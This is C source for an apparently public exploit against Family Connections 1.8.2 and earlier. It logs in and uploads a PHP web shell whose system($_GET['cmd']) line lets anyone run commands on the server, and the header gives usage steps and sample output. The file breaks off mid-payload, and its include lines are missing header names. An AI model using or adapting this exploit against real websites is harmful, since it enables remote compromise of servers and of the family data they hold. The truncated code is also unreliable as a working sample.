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/*

	Family Connections <= 1.8.2 - Remote Shell Upload Exploit
	
	Author: Salvatore "drosophila" Fresta
	
Contact: drosophilaxxx@gmail.com 
	
	Date: 3 April 2009

	The following software will upload a simple php shell.
	To execute remote commands, you must open the file
	using a browser.
	
	gcc rsue.c -o rsue
	
	./rsue localhost /fcms/ user password

	[*] Connecting...
	[+] Connected
	[*] Send login...
	[+] Login Successful
	[+] Uploading...
	[+] Shell uploaded
	[+] Connection closed
	
	Open your browser and go to
http://localhost/fcms/gallery/documents/shell.php?cmd=[commands] 

*/	

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int socket_connect(char *server, int port) {

	int fd;
	struct sockaddr_in sock;
	struct hostent *host;
	
	memset(&sock, 0, sizeof(sock));
	
	if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
	
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	
	if(!(host=gethostbyname(server))) return -1;
	
	sock.sin_addr = *((struct in_addr *)host->h_addr);
	
	if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1;
	
	return fd;

}

int socket_send(int socket, char *buffer, size_t size) {
	
	if(socket < 0) return -1;

	return write(socket, buffer, size) < 0 ? -1 : 0;
	
}

char *socket_receive(int socket, int tout) {

	fd_set input;
	int ret, byte;
	char *buffer, *tmp;
	struct timeval timeout;
	
	FD_ZERO(&input);
	FD_SET(socket, &input);
	
	if(tout > 0) {
			timeout.tv_sec  = tout;
			timeout.tv_usec = 0;
	}
	
	if(socket < 0) return NULL;
	
	if(!(buffer = (char *) calloc (0, sizeof (char)))) return NULL;
	
	while (1) {
	
		if(tout > 0)
			ret = select(socket + 1, &input, NULL, NULL, &timeout);
	else
			ret = select(socket + 1, &input, NULL, NULL, NULL);
	
	if (!ret) break;
	if (ret < 0) return NULL;
	
	if(!(tmp = (char *) calloc (1024, sizeof (char)))) return NULL;
	
	if ((byte=read(socket, tmp, 1024)) < 0) return NULL;
	
		if(!byte) break;
	
	if(!(buffer = (char *) realloc(buffer, strlen (buffer) + strlen
(tmp)))) return NULL;
	
	strncat(buffer, tmp, strlen(buffer)+strlen(tmp));
	
	}
	
	return buffer;

}

void usage(char *bn) {

	printf("\nFamily Connections <= 1.8.2 - Remote Shell Upload Exploit\n"
			"Author: Salvatore \"drosophila\" Fresta\n\n"
			"usage: %s    \n"
			"example: %s localhost /fcms/ admin 123456\n\n", bn, bn);	

}

int main(int argc, char *argv[]) {
	
	int sd;
	char code[] = "--AaB03x\r\n"
					"Content-Disposition: form-data; name=\"doc\"; filename=\"shell.php\"\r\n"
					"Content-Type: text/plain\r\n"
					"\r\n"
					"\"; system($_GET['cmd']); echo \"